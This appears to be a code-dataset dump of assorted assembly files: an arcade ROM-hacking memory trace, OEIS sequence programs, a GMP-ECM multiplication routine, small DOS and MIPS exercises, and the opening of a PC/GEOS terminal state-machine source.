hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
5d50ba9f27eb2d19412034fa73ad9c4584e79640
7,280
asm
Assembly
dino/lcs/enemy/A8.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lcs/enemy/A8.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lcs/enemy/A8.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 004D3C move.l D0, (A4)+ 004D3E move.l D0, (A4)+ 034314 move.b ($22,PC,D0.w), ($a8,A6) 03431A moveq #$0, D0 [enemy+A8] 03431C move.b ($a8,A6), D0 034320 add.w D0, D0 [enemy+A8] 03B2C8 move.b #$0, ($a8,A6) [enemy+25] 03B2CE movea.l ($a0,A6), A1 03B46E cmp.b ($a8,A6), D0 03B472 beq $3b492 03B476 move.b ($2d,A2), ($a8,A6) 03B47C beq $3b492 [enemy+A8] 03C1AC clr.w ($a8,A6) 03C1B0 move.w ($a4,A6), D0 [enemy+A8] 03C310 move.w ($a8,A6), D0 03C314 move.w ($6,PC,D0.w), D0 [enemy+A8] 03C330 move.w #$2, ($a8,A6) [enemy+ 4, enemy+ 6] 03C336 moveq #$d, D0 [enemy+A8] 03C362 move.w #$6, ($a8,A6) 03C368 move.b #$6, ($58,A6) [enemy+A8] 03C412 move.w #$a, ($a8,A6) 03C418 move.b #$1e, ($80,A6) [enemy+A8] 03C430 move.w ($a8,A6), D0 03C434 move.w ($6,PC,D0.w), D0 [enemy+A8] 03C4CE move.w #$8, ($a8,A6) 03C4D4 moveq #$a, D0 [enemy+A8] 03C4EA move.w #$a, ($a8,A6) 03C4F0 moveq #$b, D0 [enemy+A8] 03C54E move.w #$c, ($a8,A6) [enemy+51] 03C554 moveq #$e, D0 [enemy+A8] 03CD7C move.w #$8, ($a8,A6) 03CD82 move #$1, CCR [enemy+A8] 03DED0 move.b #$a, ($a8,A6) [enemy+AA] 03DED6 move.b D0, ($a1,A6) [enemy+A8] 03E57E subq.b #1, ($a8,A6) 03E582 bne $3e5ba [enemy+A8] 03E586 move.b #$1e, ($a8,A6) 03E58C movea.w ($76,A6), A0 [enemy+A8] 03E60A subq.b #1, ($a8,A6) 03E60E bne $3e62a [enemy+A8] 03E612 move.b #$c, ($a8,A6) 03E618 moveq #$0, D0 [enemy+A8] 03E8D2 subq.b #1, ($a8,A6) 03E8D6 bne $3e8f2 [enemy+A8] 03E8DA move.b #$f, ($a8,A6) 03E8E0 moveq #$0, D0 [enemy+A8] 03E9A6 subq.b #1, ($a8,A6) 03E9AA bne $3e9c2 [enemy+A8] 03E9AE move.b #$6, ($a8,A6) 03E9B4 move.b ($22,A6), ($a9,A6) [enemy+A8] 03F0DC subq.b #1, ($a8,A6) 03F0E0 bne $3f0ea [enemy+A8] 03F0E4 move.b #$1e, ($a8,A6) 03F0EA jsr $1862.l [enemy+A8] 03F16A move.b #$1e, ($a8,A6) [enemy+AC] 03F170 jsr $32c5e.l [enemy+A8] 03F1EC move.b #$6, ($a8,A6) 03F1F2 move.w #$78, ($ac,A6) [enemy+A8] 03F228 move.b #$6, ($a8,A6) [enemy+A1] 03F22E move.w #$78, ($ac,A6) [enemy+A8] 03F3EE move.b #$1e, ($a8,A6) [enemy+AC] 03F3F4 jsr $32c5e.l [enemy+A8] 040028 move.b #$1e, ($a8,A6) [enemy+AC] 04002E move.w ($88,A6), D1 [enemy+A8] 040298 move.w A0, ($a8,A1) [enemy+10] 04029C move.w A2, ($aa,A1) [enemy+A8] 041D7A movea.w ($a8,A6), A1 041D7E bsr $41d9e [enemy+A8] 041F8A move.l (A0)+, ($a8,A6) [enemy+A4, enemy+A6] 041F8E move.b (A0), ($ac,A6) 041FE4 move.l ($a8,A6), D0 [enemy+ C, enemy+ E] 041FE8 add.l D0, ($10,A6) 04264E move.b #$2, ($a8,A6) 042654 move.b D0, ($bd,A6) [enemy+A8] 042B52 tst.b ($a8,A6) 042B56 beq $42b86 [enemy+A8] 042B64 cmpi.b #$2, ($a8,A6) 042B6A bne $42b86 [enemy+A8] 042B76 subq.b #1, ($a8,A6) 042B7A move.b #$2, ($bd,A6) [enemy+A8] 048414 move.w D0, ($a8,A6) 048418 move.w D0, ($aa,A6) 0484DA move.w ($a8,A6), D0 0484DE move.w ($30,PC,D0.w), D1 [enemy+A8] 048528 move.w #$0, ($a8,A6) 04852E rts 048768 move.w #$4, ($a8,A6) 04876E moveq #$0, D0 [enemy+A8] 048C06 move.w #$6, ($a8,A6) 048C0C move.b #$2, ($0,A6) [enemy+A8] 048CD2 move.w #$8, ($a8,A6) 048CD8 clr.w ($6,A6) [enemy+A8] 04DD94 move.w D0, ($a8,A6) 04DD98 move.w D0, ($aa,A6) 04E092 move.w ($a8,A6), D0 04E096 move.w ($1c,PC,D0.w), D1 [enemy+A8] 04E59C move.w #$6, ($a8,A6) 04E5A2 moveq #$0, D0 [enemy+A8] 04EA02 move.w #$8, ($a8,A6) 04EA08 moveq #$0, D0 [enemy+A8] 04EBEC move.w #$a, ($a8,A6) 04EBF2 move.b #$2, ($0,A6) [enemy+A8] 0509FA move.b D0, ($a8,A6) 0509FE rts [enemy+A8] 050A02 move.b ($a8,A6), D0 050A06 lsl.w #5, D0 [enemy+A8] 05365E clr.b ($a8,A6) 053662 clr.b ($a9,A6) 053840 subq.b #1, ($a8,A6) 053844 bcc $5388e [enemy+A8] 053848 move.b #$1, ($a8,A6) 05384E addq.b #1, ($22,A6) [enemy+A8] 0539A6 move.b D0, ($a8,A6) 0539AA moveq #$7, D0 0569B6 move.w D0, ($a8,A6) 0569BA addi.w #$8, ($a8,A6) [enemy+A8] 0569C0 jsr $119c.l [enemy+A8] 056A18 cmp.w ($a8,A6), D0 [enemy+AC] 056A1C bne $56a4c [enemy+A8] 056A3C move.w D0, ($a8,A6) 056A40 addi.w #$10, ($a8,A6) [enemy+A8] 056A46 jsr $121e.l [enemy+A8] 056D36 move.l #$0, ($a6,A6) [enemy+AA, enemy+AC] 056D3E moveq #$1, D0 056D9E move.l #$0, ($a6,A6) 056DA6 moveq #$0, D0 056E02 move.l #$100, ($a6,A6) [enemy+AA, enemy+AC] 056E0A move.w #$0, ($a2,A6) [enemy+A6, enemy+A8] 056E64 move.l #$0, ($a6,A6) [enemy+AA, enemy+AC] 056E6C move.b #$1, ($24,A6) 056EC6 move.l #$0, ($a6,A6) [enemy+AA, enemy+AC] 056ECE move.b #$0, ($24,A6) 056F56 move.l #$0, ($a6,A6) [enemy+AE, enemy+B0] 056F5E move.b #$1, ($24,A6) 056FAC move.l ($a6,A6), D0 [enemy+ C, enemy+ E] 056FB0 add.l D0, ($aa,A6) 056FFC move.l ($a6,A6), D0 057000 add.l D0, ($aa,A6) [enemy+A6, enemy+A8] 057028 move.l ($a6,A6), D0 [enemy+ C, enemy+ E] 05702C add.l D0, ($aa,A6) 057064 move.l ($a6,A6), D0 [enemy+ C, enemy+ E] 057068 add.l D0, ($aa,A6) 05777A move.w #$3c, ($a8,A6) [enemy+ 5] 057780 rts [enemy+A8] 057CC6 clr.b ($a8,A6) 057CCA jsr $12cb4.l 057D00 tst.b ($a8,A6) 057D04 bne $57d44 057D3E move.b #$1, ($a8,A6) 057D44 jsr $121e.l [enemy+A8] 0585DC move.w A0, ($a8,A6) [enemy+A2] 0585E0 move.b #$2, ($be,A6) [enemy+A8] 058734 movea.w ($a8,A6), A1 058738 move.w A1, ($b6,A6) [enemy+A8] 05A29A movea.w ($a8,A6), A1 05A29E bra $5a2a4 [enemy+A8] 05B02A move.w A1, ($a8,A0) [enemy+10] 05B02E move.b ($96,A6), ($96,A0) [enemy+A8] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
41.363636
350
0.595879
a34b8b5f91e2cc6fb654169b5490a1f473fb3e8b
274
asm
Assembly
libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate_fastcall.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
4
2021-12-23T15:34:05.000Z
2021-12-23T15:36:16.000Z
libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate_fastcall.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
2
2022-03-20T22:17:35.000Z
2022-03-24T16:10:00.000Z
libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate_fastcall.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
null
null
null
; void shadow_relocate(void * address) __z88dk_fastcall SECTION smc_lib PUBLIC _shadow_relocate_fastcall EXTERN asm_push_di EXTERN asm_pop_ei_jp EXTERN asm_shadow_relocate ._shadow_relocate_fastcall call asm_push_di call asm_shadow_relocate jp asm_pop_ei_jp
15.222222
55
0.839416
7c865df9e9936c7e10a96a9f56de0c518278fbcf
461
asm
Assembly
oeis/067/A067349.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/067/A067349.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/067/A067349.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A067349: Number of divisors of sigma(n)+phi(n). ; Submitted by Jon Maiga ; 2,3,4,3,4,4,4,2,2,4,4,6,4,8,6,4,4,6,4,6,6,4,4,6,4,8,4,6,4,10,4,2,6,8,12,2,4,8,10,4,4,12,4,8,8,4,4,12,6,2,8,4,4,8,10,15,6,4,4,8,4,12,12,4,12,6,4,4,12,16,4,4,4,12,6,10,12,14,4,4,6,4,4,8,6,8,10,12,4,8,8,6,6,8,14,6,4,4,16,2 seq $0,65387 ; a(n) = sigma(n) + phi(n). seq $0,32741 ; a(0) = 0; for n > 0, a(n) = number of proper divisors of n (divisors of n which are less than n). add $0,1
57.625
221
0.590022
bed231447c9b70e865b1ca0cfe599f32777058f9
2,601
asm
Assembly
picoctf/EasyRsa/gmp-ecm/pentium4/mulredc2.asm
beninato8/ctfs
b28c7b1e5f15a74fd62774da2b93aac225e38f57
[ "MIT" ]
null
null
null
picoctf/EasyRsa/gmp-ecm/pentium4/mulredc2.asm
beninato8/ctfs
b28c7b1e5f15a74fd62774da2b93aac225e38f57
[ "MIT" ]
null
null
null
picoctf/EasyRsa/gmp-ecm/pentium4/mulredc2.asm
beninato8/ctfs
b28c7b1e5f15a74fd62774da2b93aac225e38f57
[ "MIT" ]
null
null
null
# mp_limb_t mulredc2(mp_limb_t * z, const mp_limb_t * x, const mp_limb_t * y, # const mp_limb_t *m, mp_limb_t inv_m); # # Stack: # inv_m ## parameters # m # y # x # z (4*(2k+7))%esp # ??? (1 limb???) # ebp ## pushed registers (4*(2k+5))%esp # edi # esi # ebx # ... ## counter (1 mp_limb_t) (4*(2k+1))%esp # ... ## tmp space (2*k+1 mp_limb_t) include(`config.m4') TEXT GLOBL GSYM_PREFIX`'mulredc2 TYPE(GSYM_PREFIX`'mulredc2,`function') GSYM_PREFIX`'mulredc2: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $24, %esp movl %esp, %edi ### set tmp[0..2k+1[ to 0 movl $0, (%edi) movl $0, 4(%edi) movl $0, 8(%edi) movl $0, 12(%edi) movl $0, 16(%edi) ########################################### movl $2, 20(%esp) .align 32 Loop: ## compute u and store in %ebp movl 48(%esp), %eax movl 52(%esp), %esi movl (%eax), %eax mull (%esi) addl (%edi), %eax mull 60(%esp) movl %eax, %ebp movl 56(%esp), %esi ### addmul1: src[0] is (%esi) ### dst[0] is (%edi) ### mult is %ebp ### k is 2 ### kills %eax, %edx and mmx regs ### dst[0,k[ += mult*src[0,k[ plus carry put in ecx pxor %mm0, %mm0 movd %ebp, %mm7 movd (%esi), %mm1 movd (%edi), %mm2 pmuludq %mm7, %mm1 paddq %mm1, %mm2 paddq %mm2, %mm0 movd %mm0, (%edi) psrlq $32, %mm0 movd 4(%esi), %mm1 movd 4(%edi), %mm2 pmuludq %mm7, %mm1 paddq %mm1, %mm2 paddq %mm2, %mm0 movd %mm0, 4(%edi) psrlq $32, %mm0 movd %mm0, %ecx ### carry limb is in %ecx addl %ecx, 8(%edi) adcl $0, 12(%edi) movl 48(%esp), %eax movl (%eax), %ebp movl 52(%esp), %esi ### addmul1: src[0] is (%esi) ### dst[0] is (%edi) ### mult is %ebp ### k is 2 ### kills %eax, %edx and mmx regs ### dst[0,k[ += mult*src[0,k[ plus carry put in ecx pxor %mm0, %mm0 movd %ebp, %mm7 movd (%esi), %mm1 movd (%edi), %mm2 pmuludq %mm7, %mm1 paddq %mm1, %mm2 paddq %mm2, %mm0 movd %mm0, (%edi) psrlq $32, %mm0 movd 4(%esi), %mm1 movd 4(%edi), %mm2 pmuludq %mm7, %mm1 paddq %mm1, %mm2 paddq %mm2, %mm0 movd %mm0, 4(%edi) psrlq $32, %mm0 movd %mm0, %ecx ### carry limb is in %ecx addl %ecx, 8(%edi) adcl $0, 12(%edi) addl $4, 48(%esp) addl $4, %edi decl 20(%esp) jnz Loop ########################################### ### Copy result in z movl 44(%esp), %ebx movl (%edi), %eax movl %eax, (%ebx) movl 4(%edi), %eax movl %eax, 4(%ebx) movl 8(%edi), %eax # carry addl $24, %esp popl %ebx popl %esi popl %edi popl %ebp emms ret
20.007692
77
0.515955
c3df447081d06564a667939dc2a72fc76b7213c4
247
asm
Assembly
printing_numbers/icalc.asm
noahabe/playing_with_assembly
590a0fb64dbc003e24a293565054fd1eeb83f7e8
[ "MIT" ]
null
null
null
printing_numbers/icalc.asm
noahabe/playing_with_assembly
590a0fb64dbc003e24a293565054fd1eeb83f7e8
[ "MIT" ]
null
null
null
printing_numbers/icalc.asm
noahabe/playing_with_assembly
590a0fb64dbc003e24a293565054fd1eeb83f7e8
[ "MIT" ]
null
null
null
; icalc.asm extern printf section .data abit db "%d",10,0 number1 dq 5 section .bss section .text global main main: mov r15,[number1] bloop: mov rdi,abit mov rsi,r15 mov rax,0 call printf dec r15 cmp r15,0 jne bloop
13
20
0.651822
13112f2efe60b7f1bfd090d64473ab290f54f455
313
asm
Assembly
programs/oeis/152/A152669.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/152/A152669.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/152/A152669.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A152669: Last digit of Catalan number A000108(n). ; 1,1,2,5,4,2,2,9,0,2,6,6,2,0,0,5,0,0,0,0,0,0,0,0,4,2,2,4,0,8,4,9,8,0,4,2,2,4,0,0,0,0,0,0,0,0,0,0,0,2,6,6,2,0,4,2,2,4,0,2,6,6,2,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mov $1,$0 mul $0,2 bin $0,$1 add $1,1 div $0,$1 mod $0,10
31.3
201
0.543131
02283abdfc5bdc2a97d43dfbbe456e4c8e919b0a
2,177
asm
Assembly
programs/oeis/010/A010982.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/010/A010982.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/010/A010982.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A010982: Binomial coefficient C(n,29). ; 1,30,465,4960,40920,278256,1623160,8347680,38608020,163011640,635745396,2311801440,7898654920,25518731280,78378960360,229911617056,646626422970,1749695026860,4568648125690,11541847896480,28277527346376,67327446062800,156077261327400,352870329957600,779255311989700,1683191473897752,3560597348629860,7384942649010080,15033633249770520,30067266499541040,59132290782430712,114449595062769120,218169540588403635,409894288378212890,759510004936100355,1388818294740297792,2507588587725537680,4472995859186094240,7886597962249166160,13750991318793417920,23720460024918645912,40498346384007444240,68461490315822108120,114633193086957948480,190186888530634778160,312751772250377190752,509921367799528028400,824553701122641067200,1322721562217570045300,2105556772509601296600,3326779700565170048628,5218477961670854978240,8128782978756524100720,12576607627510093891680,19330711723765514685360,29523268814478240610368,44812104450547329497880,67611245311352111172240,101416867967028166758360,151265836967770824995520,224377658168860057076688,331049003855695166178720,485894505659165485842960,709560230486400392024640,1031079709925550569660805,1491099888200026977663318,2146280142106099437545685,3075267069286351432901280,4386778025305530720462120,6230496325796261023265040,8811701946483283447189128,12410847811948286545336800,17409661513983013070541900,24325828416798182646510600,33858923336894767737710700,46951040360494077929625504,64866568919103660297508920,89296835135389454435531760,122496940506239379802588440,167464171831314595173158880,228169934120166135923428974,309860404360719443846631940,419445181512681198377757870,565998317221931255642275680,761402498167597998661632760,1021175115189484374675601584,1365524863334775617298769560,1820699817779700823065026080,2420703166820738594302364220,3209471614436484877839089640,4243634690199352227365018524,5596001789273871069052771680,7359958875023243471254188840,9654999814546620467666785360,12633669970098237420457602120,16490263960970330948807817504,21471697865846785089593512375,27891071454605102281327655250,36144551783008652956414410375,46732349780051591701222672000 add $0,29 bin $0,29
362.833333
2,114
0.94396
ad2c1464f6dca3706676c872552cfddb020ed6ff
593
asm
Assembly
lab programs/9a.asm
Amanskywalker/mp-lab
4103c61c0b0fee67cfda6dab313adfaebdb5badb
[ "MIT" ]
null
null
null
lab programs/9a.asm
Amanskywalker/mp-lab
4103c61c0b0fee67cfda6dab313adfaebdb5badb
[ "MIT" ]
null
null
null
lab programs/9a.asm
Amanskywalker/mp-lab
4103c61c0b0fee67cfda6dab313adfaebdb5badb
[ "MIT" ]
null
null
null
; time program .model small .data msg dw 10,13,"Current system time is : $" h db 00 m db 00 s db 00 .code mov ax,@data mov ds,ax mov ah,2ch int 21h mov h,ch mov m,cl mov s,dh mov dx,msg mov ah,09h int 21h mov al,h call disp mov dl,':' mov al,02h int 21h mov al,m call disp mov dl,':' mov al,02h int 21h mov al,s call disp mov ah,4ch int 21h disp proc aam add ax,3030h mov bx,ax mov dl,ah mov ah,02h int 21h mov dl,bl mov ah,02h int 21h ret disp endp end
9.564516
45
0.539629
445b8975d2a200cbf0fd33fdd2ba35f4302d853c
401
asm
Assembly
Lista 3/mips4.asm
AtilaAssuncao/MIPS-AP2
51bb07f4edc11c0dad1bda471db8e07b93cee2ad
[ "MIT" ]
null
null
null
Lista 3/mips4.asm
AtilaAssuncao/MIPS-AP2
51bb07f4edc11c0dad1bda471db8e07b93cee2ad
[ "MIT" ]
null
null
null
Lista 3/mips4.asm
AtilaAssuncao/MIPS-AP2
51bb07f4edc11c0dad1bda471db8e07b93cee2ad
[ "MIT" ]
null
null
null
.data massage: .asciiz "FIM DA EXECUÇÂO" space: .asciiz", " .text main: addi $t0,$zero,0 loop: bgt $t0,100000,exit jal printNumber addi $t0,$t0,1000 j loop exit: li $v0, 4 la $a0, massage syscall #Fim de Execução li $v0, 10 syscall printNumber: li $v0, 1 add $a0, $t0, $zero syscall li $v0, 4 la $a0, space syscall jr $ra
12.151515
35
0.553616
2b7dbe5bba6fbc0245d5ce4ea22a5492a5f89a5d
371
asm
Assembly
src/print.asm
vzwGrey/project-akuma
8894d0a9506945cab6095341fa6c828a60517ed7
[ "MIT" ]
2
2018-08-04T21:07:33.000Z
2018-08-08T19:47:08.000Z
src/print.asm
vzwGrey/project-akuma
8894d0a9506945cab6095341fa6c828a60517ed7
[ "MIT" ]
null
null
null
src/print.asm
vzwGrey/project-akuma
8894d0a9506945cab6095341fa6c828a60517ed7
[ "MIT" ]
null
null
null
print_string: lodsb or al, al ; Check if byte in AL is the nul byte jz .end ; If it is the nul byte end the function mov ah, 0x0E ; Use function 0x0E to print a character from AL int 0x10 jmp print_string .end: ret end_line: mov ah, 0x0E mov al, `\r` int 0x10 mov ah, 0x0E mov al, `\n` int 0x10 ret print_string_ln: call print_string call end_line ret
15.458333
62
0.703504
a9ce46643b1e4d07c79eef6091368b9cd28dbbfe
1,436
asm
Assembly
Final Assignment CSE331/Solution/9.asm
NasirSunny50/CSE331L-Section-1-Fall20-NSU
cede019f310e694ac660292b19c181bbf1579a00
[ "MIT" ]
null
null
null
Final Assignment CSE331/Solution/9.asm
NasirSunny50/CSE331L-Section-1-Fall20-NSU
cede019f310e694ac660292b19c181bbf1579a00
[ "MIT" ]
null
null
null
Final Assignment CSE331/Solution/9.asm
NasirSunny50/CSE331L-Section-1-Fall20-NSU
cede019f310e694ac660292b19c181bbf1579a00
[ "MIT" ]
null
null
null
.MODEL SMALL .STACK 64 .DATA STRING DB ? SYM DB '$' VOWEL DB ? INPUT_M DB 0ah,0dh,0AH,0DH, 'ENTER INPUT STRING: ',0DH,0AH,'$' OUTPUT_M DB 0ah,0dh,0AH,0DH, 'TOTAL NUMBER OF VOWEL IN BL REGISTER',0DH,0AH,'$' .CODE MAIN PROC MOV AX, @DATA MOV DS, AX MOV DX, OFFSET INPUT_M MOV AH, 9 INT 21H LEA SI, STRING INPUT: MOV AH, 1 INT 21H MOV [SI], AL INC SI CMP AL, 0DH JNZ INPUT MOV AL, SYM MOV [SI],'$' OUTPUT: LEA DX, OUTPUT_M MOV AH, 9 INT 21H MOV DL, 0AH MOV AH, 02H INT 21H MOV SI, OFFSET STRING MOV BL, 00 CHECK: MOV AL, [SI] CMP AL,'$' JZ END CMP AL,'A' JZ COUNT CMP AL,'E' JZ COUNT CMP AL,'I' JZ COUNT CMP AL,'O' JZ COUNT CMP AL,'U' JZ COUNT CMP AL,'a' JZ COUNT CMP AL,'e' JZ COUNT CMP AL,'i' JZ COUNT CMP AL,'o' JZ COUNT CMP AL,'u' JZ COUNT INC SI JMP CHECK COUNT: INC BL MOV VOWEL, BL INC SI JMP CHECK END: MOV AH, 4CH INT 21H MAIN ENDP END MAIN
14.804124
81
0.401114
c89412610559503488472eadc0cfb5c67f964318
99,213
asm
Assembly
Appl/Term/FSM/fsmMakeTables.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Term/FSM/fsmMakeTables.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Term/FSM/fsmMakeTables.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: FSM FILE: makeTables.asm AUTHOR: Dennis Chow, September 18, 1989 METHODS: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- dc 9/18/89 Initial revision. DESCRIPTION: Internally callable routines for this module. $Id: fsmMakeTables.asm,v 1.1 97/04/04 16:56:32 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; ; THE BACKTRACKING MECHANISM FOR PARSING ESCAPE CODES: ; ; <Background> ; There are functions mapped incorrectly when there are escape ; codes having absolute digit value and there is also a wildcard ; digit character in another escape sequence. The wildcard ; digit characters are forcefully inserted into the character ; table whereas absolute digit character, like any another ; character, will not inserted into the table if it is already ; there. During parsing, the token is searched from top of table ; for the first match So, the order of escape codes makes a ; difference. For example, ; ; \E[%i%d;%i%dH 26 ; \E[4h 37 ; ; In this case, '4' in the second sequence will not be ; entered. It will use the next state that first sequence ; generates (the one containing %d and ';'). So, \E5h will be ; mapped to 37 because '5' can be found in wildcard digit ; character table. 'h' can also be found in the next state. ; ; \E[4h 37 ; \E[%i%d;%i%dH 26 ; ; In this order, '4' is entered first and then wildcard ; character will insert 0-9 characters. So, \E[4;1H will never ; be reached because \E[4 already leads to another path. ';' ; will cause a mismismatch. ; ; <SOLUTION> ; (1) One solution is to produce a deterministic finite state ; machine. However, it demands much memory. The memory ; requirement can go exponetial to the number of termcap ; entries. This should be most elegant solution and fastest in ; performance. ; ; *(2) To improve this non-deterministic finite state ; machine. there is a backtracking mechanism once a sequence of ; input escape sequence is not found in the current path. It ; backtracks to try out the next possible match. Conceptually, ; it is like tree search. ; ; Each state has a character table containing characters to ; match by this state. When we find a match, we check to see if ; there is any more matches in the rest of the character ; table. If so, save-state mode is set and we push the current ; state. By pushing state, it means saving the SavedStateDesc ; which contains the pointer to second match, current state and ; token. We then update the pointer to remember this state as ; the starting point for backtracking. For the subsequent ; characters, if there is a match, we continue push states. When ; there is a mismatch in save-state mode, we get the state for ; backtracking and retry matching characters in another path. ; ; Given the above termcap entry order, when we parse '4', we ; push state and remember there is an alternate path. If we have ; 'h' afterwards, we execute the function and delete all saved ; states. If a ';' is followed, it mismatches and ; backtracks. So, it reloads the state and try the path of ; second escape code. It matches and parsing continues from ; there. ; ; While in save-state mode, if there is more than 1 match in ; character table, it recursively performs the search. ; ; <RESTRICTION> ; All the escape codes containing wildcard digit characters must ; be at the end of the termcap file. The idea is to allow those ; with absolute digit to enter to a state's character table ; 